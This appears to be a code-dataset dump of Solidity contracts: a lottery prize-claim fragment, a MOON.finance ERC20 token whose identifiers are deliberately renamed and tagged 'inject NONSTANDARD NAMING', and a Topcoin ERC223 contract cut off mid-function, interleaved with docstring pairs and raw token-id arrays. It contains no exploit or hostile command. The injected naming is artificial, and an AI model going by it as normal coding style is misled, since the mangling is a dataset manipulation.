sUSD.transfer(msg.sender, amountToBeClaimed);
emit PrizeClaimed(lotteryId, EventType.Second, tokenId);
return true;
}
/**
* @dev claim the third place prize reward if the token is winner
*
* Requirements:
*
* - `tokenId` must be the 3rd place winner for `lotteryId`
* - only the owner of the `tokenId` can claim the prize
*
* Emits a {PrizeClaimed} event
*/
function claim3rdPlacePrize(uint256 tokenId, uint256 lotteryId)
public
returns (bool)
{
// tokenId has not won the third place or was already claimed
require(
lotteryId3rdPlaceAward[lotteryId][tokenId],
"ticket not awarded or prize already claimed"
);
require(
msg.sender == ownerOf(tokenId),
"ticket owner required to claim prize"
);
uint256 prizePercent = prizePercentArr[2];
uint256 lotteryBalance = lotteryIdFunds[lotteryId];
uint256 amountToBeClaimed = lotteryBalance.mul(prizePercent).div(100);
lotteryId3rdPlaceAward[lotteryId][tokenId] = false;
sUSD.transfer(msg.sender, amountToBeClaimed);
emit PrizeClaimed(lotteryId, EventType.Third, tokenId);
return true;
}
/**
* @dev Return the current lottery tickets/tokens count
*
*/
function getCurrentLotteryTokensCount() public view returns (uint256) {
return lastTokenId - tokenIdFloor;
}
/**
* @dev Return the current token/ticket id
*
*/
function getTicketId() public view returns (uint256) {
return tokenIds.current();
}
/**
* @dev Return the current lottery id
*
*/
function getLotteryId() public view returns (uint256) {
return lotteryIds.current();
}
}
| * @dev Return the current token/ticket id/ | function getTicketId() public view returns (uint256) {
return tokenIds.current();
}
| 5,523,536 | [
1,
990,
326,
783,
1147,
19,
16282,
612,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3181,
29378,
548,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
1147,
2673,
18,
2972,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.12;
abstract contract context10 { //inject NONSTANDARD NAMING
function _MSGSENDER9() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA1() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface ierc202 { //inject NONSTANDARD NAMING
function TOTALSUPPLY1() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF3(address ACCOUNT10) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER5(address RECIPIENT5, uint256 AMOUNT9) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE1(address OWNER0, address SPENDER5) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE1(address SPENDER5, uint256 AMOUNT9) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM10(address SENDER1, address RECIPIENT5, uint256 AMOUNT9) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER2(address indexed FROM2, address indexed TO9, uint256 VALUE2); //inject NONSTANDARD NAMING
event APPROVAL10(address indexed OWNER0, address indexed SPENDER5, uint256 VALUE2); //inject NONSTANDARD NAMING
}
library safemath1 { //inject NONSTANDARD NAMING
function ADD4(uint256 A1, uint256 B6) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 C8 = A1 + B6; //inject NONSTANDARD NAMING
require(C8 >= A1, "SafeMath: addition overflow");
return C8;
}
function SUB5(uint256 A1, uint256 B6) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB5(A1, B6, "SafeMath: subtraction overflow");
}
function SUB5(uint256 A1, uint256 B6, string memory ERRORMESSAGE3) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(B6 <= A1, ERRORMESSAGE3);
uint256 C8 = A1 - B6; //inject NONSTANDARD NAMING
return C8;
}
function MUL6(uint256 A1, uint256 B6) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (A1 == 0) {
return 0;
}
uint256 C8 = A1 * B6; //inject NONSTANDARD NAMING
require(C8 / A1 == B6, "SafeMath: multiplication overflow");
return C8;
}
function DIV4(uint256 A1, uint256 B6) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV4(A1, B6, "SafeMath: division by zero");
}
function DIV4(uint256 A1, uint256 B6, string memory ERRORMESSAGE3) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(B6 > 0, ERRORMESSAGE3);
uint256 C8 = A1 / B6; //inject NONSTANDARD NAMING
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return C8;
}
function MOD8(uint256 A1, uint256 B6) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD8(A1, B6, "SafeMath: modulo by zero");
}
function MOD8(uint256 A1, uint256 B6, string memory ERRORMESSAGE3) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(B6 != 0, ERRORMESSAGE3);
return A1 % B6;
}
}
library address5 { //inject NONSTANDARD NAMING
function ISCONTRACT2(address ACCOUNT10) internal view returns (bool) { //inject NONSTANDARD NAMING
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 CODEHASH4; //inject NONSTANDARD NAMING
bytes32 ACCOUNTHASH1 = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; //inject NONSTANDARD NAMING
// solhint-disable-next-line no-inline-assembly
assembly { CODEHASH4 := extcodehash(ACCOUNT10) }
return (CODEHASH4 != ACCOUNTHASH1 && CODEHASH4 != 0x0);
}
function SENDVALUE0(address payable RECIPIENT5, uint256 AMOUNT9) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= AMOUNT9, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool SUCCESS3, ) = RECIPIENT5.call{ value: AMOUNT9 }(""); //inject NONSTANDARD NAMING
require(SUCCESS3, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL5(address TARGET4, bytes memory DATA2) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL5(TARGET4, DATA2, "Address: low-level call failed");
}
function FUNCTIONCALL5(address TARGET4, bytes memory DATA2, string memory ERRORMESSAGE3) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE9(TARGET4, DATA2, 0, ERRORMESSAGE3);
}
function FUNCTIONCALLWITHVALUE5(address TARGET4, bytes memory DATA2, uint256 VALUE2) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE5(TARGET4, DATA2, VALUE2, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE5(address TARGET4, bytes memory DATA2, uint256 VALUE2, string memory ERRORMESSAGE3) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= VALUE2, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE9(TARGET4, DATA2, VALUE2, ERRORMESSAGE3);
}
function _FUNCTIONCALLWITHVALUE9(address TARGET4, bytes memory DATA2, uint256 WEIVALUE7, string memory ERRORMESSAGE3) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT2(TARGET4), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool SUCCESS3, bytes memory RETURNDATA9) = TARGET4.call{ value: WEIVALUE7 }(DATA2); //inject NONSTANDARD NAMING
if (SUCCESS3) {
return RETURNDATA9;
} else {
// Look for revert reason and bubble it up if present
if (RETURNDATA9.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(RETURNDATA9)
revert(add(32, RETURNDATA9), returndata_size)
}
} else {
revert(ERRORMESSAGE3);
}
}
}
}
library safeerc206 { //inject NONSTANDARD NAMING
using safemath1 for uint256;
using address5 for address;
function SAFETRANSFER10(ierc202 TOKEN0, address TO9, uint256 VALUE2) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN7(TOKEN0, abi.encodeWithSelector(TOKEN0.TRANSFER5.selector, TO9, VALUE2));
}
function SAFETRANSFERFROM2(ierc202 TOKEN0, address FROM2, address TO9, uint256 VALUE2) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN7(TOKEN0, abi.encodeWithSelector(TOKEN0.TRANSFERFROM10.selector, FROM2, TO9, VALUE2));
}
function SAFEAPPROVE2(ierc202 TOKEN0, address SPENDER5, uint256 VALUE2) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((VALUE2 == 0) || (TOKEN0.ALLOWANCE1(address(this), SPENDER5) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_CALLOPTIONALRETURN7(TOKEN0, abi.encodeWithSelector(TOKEN0.APPROVE1.selector, SPENDER5, VALUE2));
}
function SAFEINCREASEALLOWANCE0(ierc202 TOKEN0, address SPENDER5, uint256 VALUE2) internal { //inject NONSTANDARD NAMING
uint256 NEWALLOWANCE4 = TOKEN0.ALLOWANCE1(address(this), SPENDER5).ADD4(VALUE2); //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN7(TOKEN0, abi.encodeWithSelector(TOKEN0.APPROVE1.selector, SPENDER5, NEWALLOWANCE4));
}
function SAFEDECREASEALLOWANCE7(ierc202 TOKEN0, address SPENDER5, uint256 VALUE2) internal { //inject NONSTANDARD NAMING
uint256 NEWALLOWANCE4 = TOKEN0.ALLOWANCE1(address(this), SPENDER5).SUB5(VALUE2, "SafeERC20: decreased allowance below zero"); //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN7(TOKEN0, abi.encodeWithSelector(TOKEN0.APPROVE1.selector, SPENDER5, NEWALLOWANCE4));
}
function _CALLOPTIONALRETURN7(ierc202 TOKEN0, bytes memory DATA2) private { //inject NONSTANDARD NAMING
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory RETURNDATA9 = address(TOKEN0).FUNCTIONCALL5(DATA2, "SafeERC20: low-level call failed"); //inject NONSTANDARD NAMING
if (RETURNDATA9.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(RETURNDATA9, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ownable2 is context10 { //inject NONSTANDARD NAMING
address private _OWNER5; //inject NONSTANDARD NAMING
event OWNERSHIPTRANSFERRED2(address indexed PREVIOUSOWNER0, address indexed NEWOWNER9); //inject NONSTANDARD NAMING
constructor () internal {
address MSGSENDER1 = _MSGSENDER9(); //inject NONSTANDARD NAMING
_OWNER5 = MSGSENDER1;
emit OWNERSHIPTRANSFERRED2(address(0), MSGSENDER1);
}
function OWNER2() public view returns (address) { //inject NONSTANDARD NAMING
return _OWNER5;
}
modifier ONLYOWNER10() { //inject NONSTANDARD NAMING
require(_OWNER5 == _MSGSENDER9(), "Ownable: caller is not the owner");
_;
}
function RENOUNCEOWNERSHIP2() public virtual ONLYOWNER10 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED2(_OWNER5, address(0));
_OWNER5 = address(0);
}
function TRANSFEROWNERSHIP5(address NEWOWNER9) public virtual ONLYOWNER10 { //inject NONSTANDARD NAMING
require(NEWOWNER9 != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED2(_OWNER5, NEWOWNER9);
_OWNER5 = NEWOWNER9;
}
}
contract erc206 is context10, ierc202 { //inject NONSTANDARD NAMING
using safemath1 for uint256;
using address5 for address;
mapping (address => uint256) private _BALANCES2; //inject NONSTANDARD NAMING
mapping (address => mapping (address => uint256)) private _ALLOWANCES8; //inject NONSTANDARD NAMING
uint256 private _TOTALSUPPLY10; //inject NONSTANDARD NAMING
string private _NAME6; //inject NONSTANDARD NAMING
string private _SYMBOL5; //inject NONSTANDARD NAMING
uint8 private _DECIMALS1; //inject NONSTANDARD NAMING
constructor (string memory NAME8, string memory SYMBOL9) public { //inject NONSTANDARD NAMING
_NAME6 = NAME8;
_SYMBOL5 = SYMBOL9;
_DECIMALS1 = 18;
}
function NAME2() public view returns (string memory) { //inject NONSTANDARD NAMING
return _NAME6;
}
function SYMBOL4() public view returns (string memory) { //inject NONSTANDARD NAMING
return _SYMBOL5;
}
function DECIMALS0() public view returns (uint8) { //inject NONSTANDARD NAMING
return _DECIMALS1;
}
function TOTALSUPPLY1() public view override returns (uint256) { //inject NONSTANDARD NAMING
return _TOTALSUPPLY10;
}
function BALANCEOF3(address ACCOUNT10) public view override returns (uint256) { //inject NONSTANDARD NAMING
return _BALANCES2[ACCOUNT10];
}
function TRANSFER5(address RECIPIENT5, uint256 AMOUNT9) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER10(_MSGSENDER9(), RECIPIENT5, AMOUNT9);
return true;
}
function ALLOWANCE1(address OWNER0, address SPENDER5) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING
return _ALLOWANCES8[OWNER0][SPENDER5];
}
function APPROVE1(address SPENDER5, uint256 AMOUNT9) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_APPROVE0(_MSGSENDER9(), SPENDER5, AMOUNT9);
return true;
}
function TRANSFERFROM10(address SENDER1, address RECIPIENT5, uint256 AMOUNT9) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER10(SENDER1, RECIPIENT5, AMOUNT9);
_APPROVE0(SENDER1, _MSGSENDER9(), _ALLOWANCES8[SENDER1][_MSGSENDER9()].SUB5(AMOUNT9, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE2(address SPENDER5, uint256 ADDEDVALUE8) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE0(_MSGSENDER9(), SPENDER5, _ALLOWANCES8[_MSGSENDER9()][SPENDER5].ADD4(ADDEDVALUE8));
return true;
}
function DECREASEALLOWANCE5(address SPENDER5, uint256 SUBTRACTEDVALUE10) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE0(_MSGSENDER9(), SPENDER5, _ALLOWANCES8[_MSGSENDER9()][SPENDER5].SUB5(SUBTRACTEDVALUE10, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER10(address SENDER1, address RECIPIENT5, uint256 AMOUNT9) internal virtual { //inject NONSTANDARD NAMING
require(SENDER1 != address(0), "ERC20: transfer from the zero address");
require(RECIPIENT5 != address(0), "ERC20: transfer to the zero address");
_BEFORETOKENTRANSFER8(SENDER1, RECIPIENT5, AMOUNT9);
_BALANCES2[SENDER1] = _BALANCES2[SENDER1].SUB5(AMOUNT9, "ERC20: transfer amount exceeds balance");
_BALANCES2[RECIPIENT5] = _BALANCES2[RECIPIENT5].ADD4(AMOUNT9);
emit TRANSFER2(SENDER1, RECIPIENT5, AMOUNT9);
}
function _MINT10(address ACCOUNT10, uint256 AMOUNT9) internal virtual { //inject NONSTANDARD NAMING
require(ACCOUNT10 != address(0), "ERC20: mint to the zero address");
_BEFORETOKENTRANSFER8(address(0), ACCOUNT10, AMOUNT9);
_TOTALSUPPLY10 = _TOTALSUPPLY10.ADD4(AMOUNT9);
_BALANCES2[ACCOUNT10] = _BALANCES2[ACCOUNT10].ADD4(AMOUNT9);
emit TRANSFER2(address(0), ACCOUNT10, AMOUNT9);
}
function _BURN5(address ACCOUNT10, uint256 AMOUNT9) internal virtual { //inject NONSTANDARD NAMING
require(ACCOUNT10 != address(0), "ERC20: burn from the zero address");
_BEFORETOKENTRANSFER8(ACCOUNT10, address(0), AMOUNT9);
_BALANCES2[ACCOUNT10] = _BALANCES2[ACCOUNT10].SUB5(AMOUNT9, "ERC20: burn amount exceeds balance");
_TOTALSUPPLY10 = _TOTALSUPPLY10.SUB5(AMOUNT9);
emit TRANSFER2(ACCOUNT10, address(0), AMOUNT9);
}
function _APPROVE0(address OWNER0, address SPENDER5, uint256 AMOUNT9) internal virtual { //inject NONSTANDARD NAMING
require(OWNER0 != address(0), "ERC20: approve from the zero address");
require(SPENDER5 != address(0), "ERC20: approve to the zero address");
_ALLOWANCES8[OWNER0][SPENDER5] = AMOUNT9;
emit APPROVAL10(OWNER0, SPENDER5, AMOUNT9);
}
function _SETUPDECIMALS6(uint8 DECIMALS_1) internal { //inject NONSTANDARD NAMING
_DECIMALS1 = DECIMALS_1;
}
function _BEFORETOKENTRANSFER8(address FROM2, address TO9, uint256 AMOUNT9) internal virtual { } //inject NONSTANDARD NAMING
}
// Moon Token with Governance.
contract moontoken3 is erc206("MOON.finance", "MOON"), ownable2 { //inject NONSTANDARD NAMING
function MINT7(address _TO2, uint256 _AMOUNT3) public ONLYOWNER10 { //inject NONSTANDARD NAMING
_MINT10(_TO2, _AMOUNT3);
}
} | inject NONSTANDARD NAMING
| function TRANSFER5(address RECIPIENT5, uint256 AMOUNT9) external returns (bool); | 13,119,566 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4235,
17598,
25,
12,
2867,
2438,
7266,
1102,
2222,
25,
16,
2254,
5034,
432,
5980,
5321,
29,
13,
3903,
1135,
261,
6430,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0xf503cd4558a4df44d6bafc6aa1745e2e1b705959
//Contract name: Topcoin
//Balance: 0 Ether
//Verification Date: 12/4/2017
//Transacion Count: 1
// CODE STARTS HERE
pragma solidity ^0.4.15;
/// @title SafeMath
/// @dev Math operations with safety checks that throw on error
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/// @title Ownable
/// @dev The Ownable contract has an owner address, and provides basic authorization control
/// functions, this simplifies the implementation of "user permissions".
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @dev The Ownable constructor sets the original `owner` of the contract to the sender
/// account.
function Ownable() public {
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/// @dev Allows the current owner to transfer control of the contract to a newOwner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @title Pausable
/// @dev Base contract which allows children to implement an emergency stop mechanism.
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/// @dev Modifier to make a function callable only when the contract is not paused.
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to make a function callable only when the contract is paused.
modifier whenPaused() {
require(paused);
_;
}
/// @dev called by the owner to pause, triggers stopped state
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/// @dev called by the owner to unpause, returns to normal state
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/// @title The interface to execute the tokenFallback
/// @author Merunas Grincalaitis <[email protected]>
contract ContractReceiver {
function tokenFallback(address from, uint value, bytes data) public;
}
/// @title Custom ERC223 Implementation
/// @author Merunas Grincalaitis <[email protected]>
contract ERC223 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
event Approval(address owner, address spender, uint256 amount);
event Transfer(address from, address to, uint256 value);
event Transfer(address from, address to, uint256 value, bytes data);
/// @notice To make token transfers to a user or a contract
/// @param to The receiver of the tokens
/// @param value The amount of tokens to transfer
/// @return _success If the transfer was successful
function transfer(address to, uint256 value) public returns (bool _success) {
require(to != address(0));
require(value != 0);
bytes memory emptyData;
if (isContract(to)) {
return transferToContract(to, value, emptyData);
} else {
return transferToAddress(to, value, emptyData);
}
}
/// @notice To make token transfers to a user or a contract with additional data
/// @param to The receiver of the tokens
/// @param value The amount of tokens to transfer
/// @param data The data to send
/// @return _success If the transfer was successful
function transfer(address to, uint256 value, bytes data) public returns (bool _success) {
require(to != address(0));
require(value != 0);
require(data.length != 0);
if (isContract(to)) {
return transferToContract(to, value, data);
} else {
return transferToAddress(to, value, data);
}
}
/// @notice To make token transfers from the allowance of another user
/// @param from The user that allowed you to use his tokens
/// @param to The amount of tokens to use
/// @param value The amount of tokens to transfer
/// @return _success If the transfer was successful
function transferFrom(address from, address to, uint256 value) public returns (bool _success) {
require(from != address(0));
require(to != address(0));
require(value != 0);
uint256 allowance = allowed[from][msg.sender];
balances[from] = balances[from].sub(value);
allowed[from][msg.sender] = allowance.sub(value);
balances[to] = balances[to].add(value);
Transfer(from, to, value);
return true;
}
/// @notice To approve another user to use your tokens
/// @param spender The user that will be able to use your tokens
/// @param value The amount of tokens to approve
/// @return _success If the transfer was successful
function approve(address spender, uint256 value) public returns (bool _success) {
require(spender != address(0));
require(value != 0);
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
return true;
}
/// @notice To transfer tokens to a user address
/// @param to The receiver of the tokens
/// @param value How many tokens he'll receive
/// @param data Additional data
/// @return _success If the transfer was successful
function transferToAddress(address to, uint256 value, bytes data) public returns (bool _success) {
require(to != address(0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value, data);
return true;
}
/// @notice To transfer tokens to a contract address
/// @param to The receiver of the tokens
/// @param value How many tokens he'll receive
/// @param data Additional data
/// @return _success If the transfer was successful
function transferToContract(address to, uint256 value, bytes data) public returns (bool _success) {
require(to != address(0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
ContractReceiver(to).tokenFallback(msg.sender, value, data);
Transfer(msg.sender, to, value, data);
return true;
}
/// @dev Function to check the amount of tokens that an owner allowed to a spender.
/// @param _owner address The address which owns the funds.
/// @param _spender address The address which will spend the funds.
/// @return A uint256 specifying the amount of tokens still available for the spender.
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
/// @notice To get the token balance of a user
/// @return _balance How much balance that user has
function balanceOf(address owner) public constant returns (uint256 _balance) {
require(owner != address(0));
return balances[owner];
}
/// @notice To check if an address is a contract or not
/// @return _isContract If it's a contract or not
function isContract(address addr) public constant returns (bool _isContract) {
require(addr != address(0));
uint256 length;
